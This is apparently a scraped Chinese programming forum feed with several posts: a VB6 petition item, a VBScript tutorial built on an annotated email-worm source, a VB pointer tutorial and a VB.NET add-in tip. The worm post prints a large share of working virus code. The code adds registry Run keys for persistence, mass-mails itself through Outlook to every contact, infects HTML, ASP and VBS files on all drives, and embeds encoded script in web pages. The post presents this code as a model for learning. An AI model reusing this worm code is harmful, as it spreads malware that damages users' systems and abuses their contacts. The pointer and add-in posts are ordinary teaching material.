  聯(lián)名書表示,微軟在開發(fā) C#語言的同時(shí)還在開發(fā)C++語言,為何在Visual Basic和VB.Net語言開發(fā)上不采用同樣的模式呢?微軟于2000年推出VB.Net后,VB6及老版本用戶大量遞減,他們并沒有轉(zhuǎn)向VB.Net,而是Java等非微軟產(chǎn)品。

  在北美地區(qū),絕大多數(shù)Visual Basic開發(fā)者繼續(xù)使用VB6或更老的版本,使用VB6的開發(fā)者占45%,而使用VB.Net用戶只占34%。

  一些業(yè)界觀察人士認(rèn)為,盡管開發(fā)用戶的請求可能起一定作用,但并無實(shí)際意義,因?yàn)槲④洸淮罂赡芨淖儗τ赩B6的立場。

]]>
通過對一個(gè)病毒源碼的分析,了解VBS腳本語言的應(yīng)用-.net教程,VB.net語言http://www.55716723.cn/bbs/dispbbs.asp?BoardID=77&ID=2595&Page=1wangxinxin2010-12-14 13:45:43讀了《將vbscript拒之“窗”外》一文,心里有些感觸,覺得是不
是少了兩個(gè)字,應(yīng)為《將vbscript病毒拒之“窗”外》,vbscript何罪之有,看了
看文章,確實(shí)是將vbscript拒之了“窗”外,上網(wǎng)查了查相關(guān)資料,也多是文中提
供的方法,vbscript可真成了冤大頭,可謂是“擋住了蒼蠅,也看不到了蝴蝶”。
  對于一個(gè)真正充滿熱情的cfan來說,不僅要知其然,還要知其所以然,vbs病毒
真的很可怕嗎?從早期的宏病毒,到有名的“歡樂時(shí)光”病毒,“愛情蟲”病毒等,
無不來勢洶洶,其實(shí)許多生勢多是殺毒軟件商的炒做,讀了前文,筆者覺得有必要
為vbs正名,為了讓計(jì)算機(jī)更好,更高效的服務(wù),我們決不應(yīng)該回避優(yōu)秀的軟件工具,
采取被動(dòng)回避的策略,等同于因噎廢食。
    本文通過對一個(gè)vbs病毒源碼的分析,介紹腳本語言在:文件系統(tǒng),注冊表,以
及網(wǎng)絡(luò)郵件三個(gè)方面的具體應(yīng)用和技巧。較早的“愛情蟲”等病毒,程序比較粗糙,
這個(gè)病毒結(jié)合了許多早期病毒的優(yōu)點(diǎn),程序代碼簡單,高效,充分展示了vbs的全面
特點(diǎn),因此拿來與大家共享,如果將這個(gè)源碼作為一個(gè)vbs開發(fā)的微型幫助文檔,一
點(diǎn)不為過。讀者也可以通過此文揭開此類病毒的神秘面紗,不再談虎色變,先進(jìn)的東
西都不敢用了。殺病毒嗎,筆者還是建議您購買一套殺毒軟件(幾十元的價(jià)格,一點(diǎn)
不貴),然后注意更新病毒庫就可以了。要學(xué)習(xí) vbs,具有一些vb的基礎(chǔ)知識(shí)就夠了。
這個(gè)病毒的主要攻擊方法是:通過網(wǎng)絡(luò)及郵件進(jìn)行傳播,并且不斷地向目標(biāo)郵件服
務(wù)器發(fā)送大量郵件,并且在傳染過程中檢測網(wǎng)絡(luò)主機(jī)的名稱中是否有目標(biāo)字符,如
果有則進(jìn)行破壞攻擊。
下面將結(jié)合具體的程序逐步進(jìn)行介紹,由于篇幅關(guān)系,對一些語句進(jìn)行了縮減。
@ thank you!  make use of other person to get rid of an enemy, white trap _2001
開場白,第一個(gè)字符“@”是這個(gè)病毒傳染時(shí)的標(biāo)記
on error resume next  這一句很重要,主要是在程序執(zhí)行時(shí)如果發(fā)生錯(cuò)誤就接著
                      執(zhí)行下一條語句,防止談出出錯(cuò)對話框,否則就不能偷偷
                      的干壞事啦。這里有一個(gè)技巧,就是在程序編制調(diào)試階段,
                      最好不要這一條語句,因?yàn)樗鼤?huì)忽略錯(cuò)誤,使你的調(diào)試工
                      作不易完成。
dim vbscr, fso,w1,w2,mswkey,hcuw,code_str, vbs_str, js_str
dim defpath, smailc, max_size, whb(), title(10)      聲明各個(gè)變量
smailc = 4
redim whb(smailc)
whb(0) = "pr@witehous.gov"
...
whb(3) = "ms@witehous.gov"
以上這四個(gè)郵件地址就是被攻擊的目標(biāo),當(dāng)然已經(jīng)進(jìn)行了修改,不是真實(shí)地址
title(0) = "thanks for helping me!"
...
title(8) = "the sitting is open!"
title(9) = ""
以上這十條字符串是病毒執(zhí)行時(shí)隨機(jī)顯示在ie標(biāo)題欄里的信息。如果你的ie標(biāo)題欄
顯示了其中的某條信息,呵呵,一定要接著往下看
defpath  = "c:\readme.html"          將隨郵件一起發(fā)送的病毒體
max_size = 100000
mswkey  = "hkey_local_machine\software\microsoft\windows\"
hcuw    = "hkey_current_user\software\microsoft\wab\"
定義兩個(gè)注冊表的鍵值變量
main    執(zhí)行主函數(shù)

下面就是程序中所需的各個(gè)函數(shù)的定義部分,整個(gè)vbs程序?qū)⒂蓋indows目錄中的
wscript.exe文件解釋執(zhí)行,如果將這個(gè)文件改名或刪除,當(dāng)然vbs程序也就不能執(zhí)行
了,如此便阻止了病毒的執(zhí)行。在用殺毒軟件殺毒時(shí),往往病毒傳播的速度要比殺
毒的速度快,如果出現(xiàn)這種情況,應(yīng)該先將wscript.exe文件改名,阻止病毒傳播,
等殺完毒后,再改回來,不致影響其他正常的vbs程序的執(zhí)行。
sub main()
on error resume next
dim w_s
w_s= wscript.scriptfullname    得到此文件名稱
if w_s = "" then
err.clear
set fso = createobject("scripting.filesystemobject")
隨著vb編程語言的完善,微軟也推出了一種全新的文件操作方法:文件系
        統(tǒng)對象(filesystemobject)。這個(gè)對象,及一些相關(guān)對象,封裝了所有
        的文件操作。這個(gè)病毒程序基本展示了所有的這些操作,因此,如果您要
        利用vbs進(jìn)行文件操作編程,將這個(gè)病毒源碼作為參考文檔,肯定不錯(cuò)。
if geterr then
  randomize
  ra = int(rnd() * 7)
  doucment.write title(ra)     
  executemail        打開有毒的頁面
else     
  executepage        賦值成功,進(jìn)行傳染,攻擊
end if 
else
executevbs                  從病毒體文件“system.dll”提取病毒
end if
end sub

function  geterr()
本函數(shù)主要是檢測前一條語句是否成功返回了scripting.filesystemobject對象,
內(nèi)容略
end function

sub executepage()
dim html_str,adi,vf,wdf, wdf2,wdf3,wdsf, wdsf2
vbs_str  = getscriptcode("vbscript")      獲得此程序的vbscript code
js_str  = getjavascript()
code_str =  makescript(encrypt(vbs_str),true)  進(jìn)行加密處理
html_str =  makehtml(encrypt(vbs_str), true)
gf
wdsf  = w2 & "mdm.vbs"
wdsf2 = w1 & "profile.vbs"
wdf  = w2 & "user.dll"
wdf2  = w2 & "readme.html"
wdf3  = w2 & "system.dll"

set vf = fso.opentextfile (wdf, 2, true)
vf.write vbs_str
vf.close 
僅用以上三條語句便完成了病毒體文件 "user.dll"的制作,其中對象函數(shù)
opentextfile (wdf, 2, true)的三個(gè)參數(shù)分別是:
①文件名,②讀=1或?qū)?2,③文件不存在時(shí)是否創(chuàng)建;
當(dāng)前,filesystemobject對于文本文件的操作有較強(qiáng)的優(yōu)勢,對binary文件
的操作還有待加強(qiáng)。下面依次生成其他的文件,內(nèi)容略

writereg  mswkey & "currentversion\run\mdm", wdsf, ""   
writereg  mswkey & "currentversion\runservices\profile", wdsf2, ""
將mdm.vbs,profile.vbs兩個(gè)腳本文件加入到啟動(dòng)組當(dāng)中,隨win啟動(dòng)自動(dòng)執(zhí)行
sendmail
hackpage
if testuser then
killhe
else
mk75
end if
set adi = fso.drives        所有驅(qū)動(dòng)器對象
for each x in adi          遍歷所有的驅(qū)動(dòng)器
if x.drivestype = 2 or x.drivestype = 3 then 
  call searchhtml(x & "\")
end if
next
if fso.fileexists(defpath) then  fso.deletefile defpath
如果存在"c:\readme.html" ,就刪除它
end sub

sub  executemail()
此函數(shù)制作病毒文件"c:\readme.html" ,并打開它,
由這一段程序,可以看出vbs的簡潔高效
on error resume next
vbs_str  = getscriptcode("vbscript")
js_str  = getjavascript()
set stl = createobject("scriptlet.typelib")
with stl
.reset
.path = defpath
.doc =  makehtml(encrypt(vbs_str), true)
.write()
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no"
end sub

sub executevbs()
on error resume next
dim x, adi, wvbs, ws, vf
set fso = createobject("scripting.filesystemobject")
set wvbs = createobject("wscript.shell")
gf
wvbs.regwrite  mswkey & "windows scripting host\setings\timeout", 0, "reg_dword"
set vf = fso.opentextfile (w2 & "system.dll", 1)
code_str = vf.readall()
vf.close
hackpage
sendmail
if testuser then
killhe
else
mk75
end if
set adi = fso.drives
for each x in adi
if x.drivestype = 2 or x.drivestype = 3 then 
  call searchhtml(x & "\")
end if 
next
end sub

sub gf()
w1=fso.getspecialfolder(0) & "\"  獲得windows的路徑名,
w2=fso.getspecialfolder(1) & "\"  獲得系統(tǒng)文件夾路徑名
end sub

function readreg(key_str)
set tmps = createobject("wscript.shell")
readreg = tmps.regread(key_str)
set tmps = nothing
end function

function writereg(key_str, newvalue, vtype)
對注冊表進(jìn)行寫入操作,讀操作類似,可以由此看到vbs的注冊表操作非常簡單明了。
set tmps = createobject("wscript.shell")
if vtype="" then
tmps.regwrite key_str, newvalue
else
tmps.regwrite key_str, newvalue, vtype
end if     
set tmps = nothing      關(guān)閉不用的資源,算是病毒的良好行為
end function

function makehtml(sbuffer, ihtml)
制作html文件的內(nèi)容
dim ra
randomize
ra = int(rnd() * 7)
makehtml="<" & "html><" & "head><" & "title>" & title(ra) & "</" & "title><" & "/head>" & _
"<bo" & "ad>" & vbcrlf &  makescript(sbuffer, ihtml) & vbcrlf & _
"<" & "/boad><" & "/html>"
end function

function makescript(codestr, ihtml)
制作病毒的可執(zhí)行script code
if ihtml then
dim docuwrite
docuwrite = "document.write(<+" & "script language=javascript>\n+" & _
      "jword" & "+\n</" & "+script>);"
docuwrite = docuwrite & vbcrlf & "document.write(<+" & "script language=vbscript>\n+" & _
      "nword" & "+\n</" & "+script>);"
makescript="<" & "script language=javascript>" & vbcrlf & "var jword = " & _
chr(34) & encrypt(js_str) & chr(34) & vbcrlf & "var nword = " & _
chr(34) &  codestr &  chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
"jword = unescape(jword);" & vbcrlf & docuwrite & vbcrlf & "</" & "script>"
else   
makescript= "<" & "script language=javascript>" & codestr & "</" & "script>"
end if
end function

function getscriptcode(languages)
此函數(shù)獲得運(yùn)行時(shí)的script code,
內(nèi)容略
end function

function getjavascript()
getjavascript = getscriptcode("javascript")
end function

function testuser()
此函數(shù)通過鍵值檢測網(wǎng)絡(luò)主機(jī)是否是攻擊目標(biāo)
內(nèi)容略
end function

function mk75()
檢測日期是否符合,如果符合,發(fā)控制臺(tái)命令,使系統(tǒng)癱瘓
end function

function sendmail()
利用outlook發(fā)送攜帶病毒體的郵件,microsoft outlook是可編程桌面信息管理程序,
outlook可以作為一個(gè)自動(dòng)化服務(wù)器(automation servers),因此很容易實(shí)現(xiàn)自動(dòng)發(fā)送
郵件,從這里也可以看出,先進(jìn)的東西難免會(huì)被反面利用,如果你也想用程序控制發(fā)送
郵件,可以仔細(xì)研究下面的代碼,
on error resume next
dim wab,ra,j, oa, arrsm, eins, eaec, fm, wreg, areg,at
randomize
at=fso.getspecialfolder(1) & "\readme.html"    要發(fā)送的附件文件
set  oa  = createobject("outlook.application") 制作outlook對象
set  wab = oa.getnamespace("mapi")            取得outlook mapi名字空間
for j = 1 to wab.addresslists.count            遍歷所有聯(lián)系人
eins = wab.addresslists(j)
wreg=readreg (hcuw  & eins)
if (wreg="") then wreg = 1
eaec = eins.addressentries.count      地址表的email記錄數(shù)
if (eaec > int(wreg)) then
  for x = 1 to eaec
  arrsm = wab.addressentries(x)
  areg = readreg(hcuw & arrsm)
  讀注冊表中的標(biāo)記,避免重復(fù)發(fā)送
  if (areg = "") then
    set fm = wab.createitem(0)  創(chuàng)建新郵件
    with fm
    ra = int(rnd() * 7)
    .recipients.add arrsm 收件人
    .subject = title(ra) 郵件的標(biāo)題
    .body = title(ra)  郵件的正文內(nèi)容
    .attachments at  病毒文件作為附件
    .send        發(fā)送郵件
    writereg hcuw & arrsm, 1, "reg_dword"
    end with
  end if
  next
end if   
writereg hcuw & eins, eaec, "" 
next
set oa = nothing
window.settimeout "sendmail()", 10000  每100秒發(fā)送一次
end function

sub searchhtml(path)
這個(gè)函數(shù)遞歸搜索所有需感染的文件,如果你想批量處理文件,這是非常典型
的樣例代碼
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(path, fso.getspecialfolder(2)) > 0  then exit sub
fso.getspecialfolder(2)獲得臨時(shí)文件夾路徑名,
fso.getspecialfolder(0)獲得windows的路徑名,
fso.getspecialfolder(1)獲得系統(tǒng)文件夾路徑名
set pfo    = fso.getfolder(path)
set psfo  = pfo.subfolders
for each  ps in psfo
searchhtml(ps.path)
set pf  = ps.files
for each pfi in pf
  ext = lcase(fso.getextensionname(pfi.path))
  if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then
  if code_str<>"" then addhead pfi.path, pfi, 1
  elseif ext= "vbs"  then
  addhead pfi.path,pfi, 2
  end if     
next
next
end sub

sub killhe()
看函數(shù)名就知道硬盤又要倒霉啦
end sub

sub hackpage()
dim fi

]]>
VB真是想不到系列之二:VB《葵花寶典》--指針技http://www.55716723.cn/bbs/dispbbs.asp?BoardID=77&ID=2594&Page=1wangxinxin2010-12-14 12:35:56《VB真是想不到系列》
    每次看大師的東西到了精彩之處,我就會(huì)拍案叫絕:"哇噻,真是想不到!"。在經(jīng)過很多次這種感慨之后,我發(fā)現(xiàn)只要我們動(dòng)了腦筋,我們自己也能有讓別人想不到的東西。于是想到要把這些想不到的東拿出來和大家一起分享,希望拋磚引玉,能引出更多讓人想不到的東西。
   
                  VB真是想不到系列之二:VB《葵花寶典》--指針技術(shù)
關(guān)鍵字:VB、指針、動(dòng)態(tài)內(nèi)存分配、效率、安全
難度:中級至高級
要求:熟悉VB,掌握基本的C,了解匯編,了解內(nèi)存分配原理。
    想當(dāng)年東方不敗,黑木崖密室一戰(zhàn),僅憑一根繡花針獨(dú)戰(zhàn)四大高手,神出鬼沒,堪稱天下武林第一高手。若想成為VB里的東方不敗,熟習(xí)VB《葵花寶典》,掌握VB指針技術(shù),乃是不二的法門。
    欲練神功,引刀……,其實(shí)掌握VB指針技術(shù),并不需要那么痛苦。因?yàn)檎f穿了,也就那么幾招,再勤加練習(xí),終可至神出鬼沒之境。廢話少說,讓我們先從指針的定義說起。
   
    一、指針是什么?
    不需要去找什么標(biāo)準(zhǔn)的定義,它就是一個(gè)32位整數(shù),在C語言和在VB里都可以用Long類型來表示。在32位Windows平臺(tái)下它和普通的32位長整型數(shù)沒有什么不同,只不過它的值是一個(gè)內(nèi)存地址,正是因?yàn)檫@個(gè)整數(shù)象針一樣指向一個(gè)內(nèi)存地址,所以就有了指針的概念。
    有統(tǒng)計(jì)表明,很大一部分程序缺陷和內(nèi)存的錯(cuò)誤訪問有關(guān)。正是因?yàn)橹羔樦苯雍蛢?nèi)存打交道,所以指針一直以來被看成一個(gè)危險(xiǎn)的東西。以至于不少語言,如著名的JAVA,都不提供對指針操作的支持,所有的內(nèi)存訪問方面的處理都由編譯器來完成。而象C和C++,指針的使用則是基本功,指針給了程序員極大的自由去隨心所欲地處理內(nèi)存訪問,很多非常巧妙的東西都要依靠指針技術(shù)來完成。
    關(guān)于一門高級的程序設(shè)計(jì)語言是不是應(yīng)該取消指針操作,關(guān)于沒有指針操作算不算一門語言的優(yōu)點(diǎn),我在這里不討論,因?yàn)榛ヂ?lián)網(wǎng)上關(guān)于這方面的沒有結(jié)果的討論,已經(jīng)造成了占用幾個(gè)GB的資源。無論最終你是不是要下定決心修習(xí)指針技術(shù)《葵花寶典》,了解這門功夫總是有益處的。
    注意:在VB里,官方是不鼓勵(lì)使用什么指針的,本文所講的任何東西你都別指望取得官方的技術(shù)支持,一切都要靠我們自己的努力,一切都更刺激!
    讓我們開始神奇的VB指針探險(xiǎn)吧!

 

   順便提一下,聽說VB.NET里沒有這幾個(gè)函數(shù),但只要還能調(diào)用API,我們就可以試試上面的幾個(gè)聲明,這樣在VB.NET里我們一樣可以進(jìn)行指針操作。
    但是請注意,如果通過API調(diào)用來使用VarPtr,整個(gè)程序二SwapPtr將比原來使用內(nèi)置VarPtr函數(shù)時(shí)慢6倍。)
    如果你喜歡刨根問底,那么下面就是VarPtr函數(shù)在C和匯編語言里的樣子:
    在C里樣子是這樣的:
    long VarPtr(void* pv){
        return (long)pv;
    }
    所對就的匯編代碼就兩行:
    mov         eax,dword ptr [esp+4]
    ret         4           '彈出棧里參數(shù)的值并返回。
    之所以讓大家了解VarPtr的具體實(shí)現(xiàn),是想告訴大家它的開銷并不大,因?yàn)樗鼈儾贿^兩條指令,即使加上參數(shù)賦值、壓棧和調(diào)用指令,整個(gè)獲取指針的過程也就六條指令。當(dāng)然,同樣的功能在C語言里,由于語言的直接支持,僅需要一條指令即可。但在VB里,它已經(jīng)算是最快的函數(shù)了,所以我們完全不用擔(dān)心使用VarPtr會(huì)讓我們失去效率!速度是使用指針技術(shù)的根本要求。
    一句話,VarPtr返回的是變量所在處的內(nèi)存地址,也可以說返回了指向變量內(nèi)存位置的指針,它是我們在VB里處理指針最重要的武器之一。

3、ByVal和ByRef
    ByVal傳遞的參數(shù)值,而ByRef傳遞的參數(shù)的地址。在這里,我們不用去區(qū)別傳指針/傳地址/傳引用的不同,在VB里,它們根本就是一個(gè)東西的三種不同說法,即使VB的文檔里也有地方在混用這些術(shù)語(但在C++里的確要區(qū)分指針和引用)
    初次接觸上面的程序二SwapPtr的朋友,一定要搞清在里面的CopyMemory調(diào)用中,在什么地方要加ByVal,什么地方不加(不加ByVal就是使用VB缺省的ByRef)
    準(zhǔn)確的理解傳值和傳地址(指針)的區(qū)別,是在VB里正確使用指針的基礎(chǔ)。
    現(xiàn)在一個(gè)最簡單的實(shí)驗(yàn)來看這個(gè)問題,如下面的程序三:
【程序三】:'體會(huì)ByVal和ByRef
    Sub TestCopyMemory()
        Dim k As Long
        k = 5
Note:   CopyMemory ByVal VarPtr(k), 40000, 4
        Debug.Print k
    End Sub
    上面標(biāo)號Note處的語句的目的,是將k賦值為40000,等同于語句k=40000,你可以在"立即"窗口試驗(yàn)一下,會(huì)發(fā)現(xiàn)k的值的確成了40000。
    實(shí)際上上面這個(gè)語句,翻譯成白話,就是從保存常數(shù)40000的臨時(shí)變量處拷貝4個(gè)字節(jié)到變量k所在的內(nèi)存中。
    現(xiàn)在我們來改變一個(gè)Note處的語句,若改成下面的語句:
Note2:   CopyMemory ByVal VarPtr(k), ByVal 40000, 4
    這句話的意思就成了,從地址40000拷貝4個(gè)字節(jié)到變量k所在的內(nèi)存中。由于地址40000所在的內(nèi)存我們無權(quán)訪問,操作系統(tǒng)會(huì)給我們一個(gè)Access Violation內(nèi)存越權(quán)訪問錯(cuò)誤,告訴我們"試圖讀取位置0x00009c40處內(nèi)存時(shí)出錯(cuò),該內(nèi)存不能為'Read'"。
    我們再改成如下的語句看看。
Note3:   CopyMemory VarPtr(k), 40000, 4
    這句話的意思就成了,從保存常數(shù)40000的臨時(shí)變量處拷貝4個(gè)字節(jié)到到保存變量k所在內(nèi)存地址值的臨時(shí)變量處。這不會(huì)出出內(nèi)存越權(quán)訪問錯(cuò)誤,但k的值并沒有變。
    我們可以把程序改改以更清楚的休現(xiàn)這種區(qū)別,如下面的程序四:
【程序四】:'看看我們的東西被拷貝到哪兒去了
    Sub TestCopyMemory()
        Dim i As Long, k As Long
        k = 5
        i = VarPtr(k)
NOTE4:  CopyMemory i, 40000, 4
        Debug.Print k
        Debug.Print i
        i = VarPtr(k)
NOTE5:  CopyMemory ByVal i, 40000, 4
        Debug.Print k
    End Sub

程序輸出:
5
40000
40000
    由于NOTE4處使用缺省的ByVal,傳遞的是i的地址(也就是指向i的指針),所以常量40000拷貝到了變量i里,因此i的值成了40000,而k的值卻沒有變化。但是,在NOTE4前有:i=VarPtr(k),本意是要把i本身做為一個(gè)指針來使用。這時(shí),我們必須如NOTE5那樣用ByVal來傳遞指針i,由于i是指向變量k的指針,所以最后常量40000被拷貝了變量k里。
    希望你已經(jīng)理解了這種區(qū)別,在后面問題的討論中,我還會(huì)再談到它。

4、AddressOf
    它用來得到一個(gè)指向VB函數(shù)入口地址的指針,不過這個(gè)指針只能傳遞給API使用,以使得API能回調(diào)VB函數(shù)。
    本文不準(zhǔn)備詳細(xì)討論函數(shù)指針,關(guān)于它的使用請參考VB文檔。

5、拿來主義。
    實(shí)際上,有了CopyMemory,VarPtr,AddressOf這三把斧頭,我們已經(jīng)可以將C里基本的指針操作拿過來了。
    如下面的C程序包括了大部分基本的指針指針操作:
    struct POINT{
        int x; int y;
    };
    int Compare(void* elem1, void* elem2){}
    void PtrDemo(){
    //指針聲明:
        char c = 'X';        //聲明一個(gè)char型變量
        char* pc; long* pl;  //聲明普通指針
        POINT* pPt;          //聲明結(jié)構(gòu)指針
        void* pv;            //聲明無類型指針
        int (*pfnCastToInt)(void *, void*);//聲明函數(shù)指針:
    //指針賦值:
       pc = &c;              //將變量c的地址值賦給指針pc
       pfnCompare = Compare; //函數(shù)指針賦值。
    //指針取值:
       c = *pc;              //將指針pc所指處的內(nèi)存值賦給變量c
    //用指針賦值:
       *pc = 'Y'             //將'Y'賦給指針pc所指內(nèi)存變量里。
    //指針移動(dòng):
       pc++; pl--;
    }

    這些對指針操作在VB里都有等同的東西,
    前面討論ByVal和ByRef時(shí)曾說過傳指針和傳地址是一回事,實(shí)際上當(dāng)我們在VB里用缺省的ByRef聲明函數(shù)參數(shù)時(shí),我們已經(jīng)就聲明了指針。
    如一個(gè)C聲明的函數(shù):long Func(char* pc)
    其對應(yīng)的VB聲明是:Function Func(pc As Byte) As Long
    這時(shí)參數(shù)pc使用缺省的ByRef傳地址方式來傳遞,這和C里用指針來傳遞參數(shù)是一樣。
    那么怎么才能象C里那樣明確地聲明一個(gè)指針呢?
    很簡單,如前所說,用一個(gè)32位長整數(shù)來表達(dá)指針就行。在VB里就是用Long型來明確地聲明指針,我們不用區(qū)分是普通指針、無類型指針還是函數(shù)指針,通通都可用Long來聲明。而給一個(gè)指針賦值,就是賦給它用VarPar得到的另一個(gè)變量的地址。具體見程序五。
【程序五】:同C一樣,各種指針。
    Type POINT
        X As Integer
        Y As Integer
    End Type
    Public Function Compare(elem1 As Long, elem2 As Long) As Long
    '
    End Function
    Function FnPtrToLong(ByVal lngFnPtr As Long) As Long
        FnPtrToLong = lngFnPtr
    End Function
    Sub PtrDemo()
       Dim l As Long, c As Byte, ca() As Byte, Pt As POINT
       Dim pl As Long, pc As Long, pv As Long, pPt As Long, pfnCompare As Long
       c = AscB("X")
       pl = VarPtr(l)     '對應(yīng)C里的long、int型指針
       pc = VarPtr(c)     '對應(yīng)char、short型指針
       pPt = VarPtr(Pt)   '結(jié)構(gòu)指針
       pv = VarPtr(ca(0)) '字節(jié)數(shù)組指針,可對應(yīng)任何類型,也就是void*
       pfnCompare = FnPtrToLong(AddressOf Compare) '函數(shù)指針
       CopyMemory c, ByVal pc, LenB(c)   '用指針取值
       CopyMemory ByVal pc, AscB("Y"), LenB(c) '用指針賦值
       pc = pc + LenB(c) : pl = pl - LenB(l)   '指針移動(dòng)
    End Sub
    我們看到,由于VB不直接支持指針操作,在VB里用指針取值和用指針賦值都必須用CopyMemory這個(gè)API,而調(diào)用API的代價(jià)是比較高的,這就決定了我們在VB里使用指針不能象在C里那樣自由和頻繁,我們必須要考慮指針操作的代價(jià),在后面的"指針應(yīng)用"我們會(huì)再變談這個(gè)問題。
    程序五中關(guān)于函數(shù)指針的問題請參考VB文檔,無類型指針void*會(huì)在下面"關(guān)于Any的問題"里說。
    程序五基本上已經(jīng)包括了我們能在VB里進(jìn)行的所有指針操作,僅此而已。

    下面有一個(gè)小測試題,如果現(xiàn)在你就弄懂了上面程咬金的三板斧,你就應(yīng)該能做得出來。
    上面提到過,VB.NET中沒有VarPtr,我們可以用聲明API的方式來引入MSVBVM60.DLL中的VarPtr。現(xiàn)在的問題如果不用VB的運(yùn)行時(shí)DLL文件,你能不能自己實(shí)現(xiàn)一個(gè)ObjPtr。答案在下一節(jié)后給出。

    四、指針使用中應(yīng)注意的問題
    1、關(guān)于ANY的問題
    如果以一個(gè)老師的身份來說話,我會(huì)說:最好永遠(yuǎn)也不要用Any!是的,我沒說錯(cuò),是永遠(yuǎn)!所以我沒有把它放在程咬金的三板斧里。當(dāng)然,這個(gè)問題和是不是應(yīng)該使用指針這個(gè)問題一樣會(huì)引發(fā)一場沒有結(jié)果的討論,我告訴你的只是一個(gè)觀點(diǎn),因?yàn)橛袝r(shí)我們會(huì)為了效率上的一點(diǎn)點(diǎn)提高或想偷一點(diǎn)點(diǎn)懶而去用Any,但這樣做需要要承擔(dān)風(fēng)險(xiǎn)。
    Any不是一個(gè)真正的類型,它只是告訴VB編譯器放棄對參數(shù)類型的檢查,這樣,理論上,我們可以將任何類型傳遞給API。
    Any在什么地方用呢?讓我們來看看,在VB文檔里的是怎么說的,現(xiàn)在就請打開MSDN(Visual Studio 6自帶的版本),翻到"Visual Basic文檔"->"使用Visual Basic"->"部件工具指南"->"訪問DLL和Windows API"部分,再看看"將 C 語言聲明轉(zhuǎn)換為 Visual Basic 聲明"這一節(jié)。文檔里告訴我們,只有C的聲明為LPVOID和NULL時(shí),我們才用Any。實(shí)際上如果你愿意承擔(dān)風(fēng)險(xiǎn),所有的類型你都可以用Any。當(dāng)然,也可以如我所說,永遠(yuǎn)不要用Any。   
    為什么要這樣?那為什么VB官方還要提供Any?是信我的,還是信VB官方的?有什么道理不用Any?
    如前面所說,VB官方不鼓勵(lì)我們使用指針。因?yàn)閂B所標(biāo)榜的優(yōu)點(diǎn)之一,就是沒有危險(xiǎn)的指針操作,所以的內(nèi)存訪問都是受VB運(yùn)行時(shí)庫控制的。在這一點(diǎn)上,JAVA語言也有著同樣的標(biāo)榜。但是,同JAVA一樣,VB要避免使用指針而得到更高的安全性,就必須要克服沒有指針而帶來的問題。VB已經(jīng)盡最大的努力來使我們遠(yuǎn)離指針的同時(shí)擁有強(qiáng)類型檢查帶來的安全性。但是操作系統(tǒng)是C寫的,里面到處都需要指針,有些指針是沒有類型的,就是C程序員常說的可怕的void*無類型指針。它沒有類型,因此它可以表示所有類型。如CopyMemory所對應(yīng)的是C語言的memcpy,它的聲明如下:
    void *memcpy( void *dest, const void *src, size_t count );
    因memcpy前兩個(gè)參數(shù)用的是void*,因此任何類型的參數(shù)都可以傳遞給他。
    一個(gè)用C的程序員,應(yīng)該知道在C函數(shù)庫里這樣的void*并不少見,也應(yīng)該知道它有多危險(xiǎn)。無論傳遞什么類型的變量指針給上面memcpy的void*,C編譯器都不會(huì)報(bào)錯(cuò)或給任何警告。
    在VB里大多數(shù)時(shí)候,我們使用Any就是為了使用void*,和在C里一樣,VB也不對Any進(jìn)行類型檢查,我們也可以傳遞任何類型給Any,VB編譯器也都不會(huì)報(bào)錯(cuò)或給任何警告。
    但程序運(yùn)行時(shí)會(huì)不會(huì)出錯(cuò),就要看使用它時(shí)是不是小心了。正因?yàn)樵贑里很多錯(cuò)誤是和void*相關(guān)的,所以,C++鼓勵(lì)我們使用satic_cast<void*>來明確指出這種不安全的類型的轉(zhuǎn)換,已利于發(fā)現(xiàn)錯(cuò)誤。
    說了這么多C/C++,其實(shí)我是想告訴所有VB的程序員,在使用Any時(shí),我們必須和C/C++程序員使用void*一樣要高度小心。
    VB里沒有satic_cast這種東西,但我們可以在傳遞指針時(shí)明確的使用long類型,并且用VarPtr來取得參數(shù)的指針,這樣至少已經(jīng)明確地指出我們在使用危險(xiǎn)的指針。如程序二經(jīng)過這樣的處理就成了下面的程序:
【程序五】:'使用更安全的CopyMemory,明確的使用指針!
    Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByVal Destination As Long, ByVal Source As Long, ByVal Length As Long)
    Sub SwapStrPtr2(sA As String, sB As String)
        Dim lTmp As Long
        Dim pTmp As Long, psA As Long, psB As Long
        pTmp = VarPtr(lTmp): psA = VarPtr(sA): psB = VarPtr(sB)
        CopyMemory pTmp, psA, 4
        CopyMemory psA, psB, 4
        CopyMemory psB, pTmp, 4
    End Sub
   

]]>
如何將Option Strict的設(shè)置保持為On(Add-In技術(shù))-.NET教程,VB.Net語言http://www.55716723.cn/bbs/dispbbs.asp?BoardID=77&ID=2593&Page=1wangxinxin2010-12-14 12:21:55在一次vsm的專訪中,dan appleman提到:“我希望visual studio 項(xiàng)目能夠在缺省狀態(tài)下將option strict設(shè)置為on,而無需用手工編輯向?qū)0濉!笨赡芎芏喑绦騿T都會(huì)認(rèn)同dan的觀點(diǎn)-- 在vb.net實(shí)現(xiàn)中,將option strict off設(shè)置成缺省狀態(tài)是mircosoft一大錯(cuò)舉。但事實(shí)上你不必非得按照microsoft的這一設(shè)定。在以下這個(gè)技巧中,我會(huì)介紹如何建立一個(gè)自動(dòng)將option strict設(shè)置為on的add-in方法(用這個(gè)方法你可能都會(huì)忘記如何使用手動(dòng)添加了)。

第一步是通過使用add-in wizard來建立一個(gè)新的visual studio add-in 項(xiàng)目,并將其命名為vboptionstricton。當(dāng)向?qū)Ыê昧诉@個(gè)add-in 并打開了connect.vb模塊的代碼窗口之后,你可以在這個(gè)connect類中聲明兩個(gè)類級(class-level) 變量。你需要將向?qū)Фx的這兩個(gè)變量:dim applicationobject as envdte.dte
dim addininstance as envdte.addin

用以下兩個(gè)變量聲明來取代:private _app as envdte.dte
private withevents _solutionevents as solutionevents

接下來,在public onconnection 的事件處理(event handler)中將向?qū)傻拇a:applicationobject = ctype(application, envdte.dte)
addininstance = ctype(addininst, envdte.addin)

用以下兩個(gè)給變量賦值的語句來取代:_app = ctype(application, envdte.dte)
_solutionevents = _app.events.solutionevents

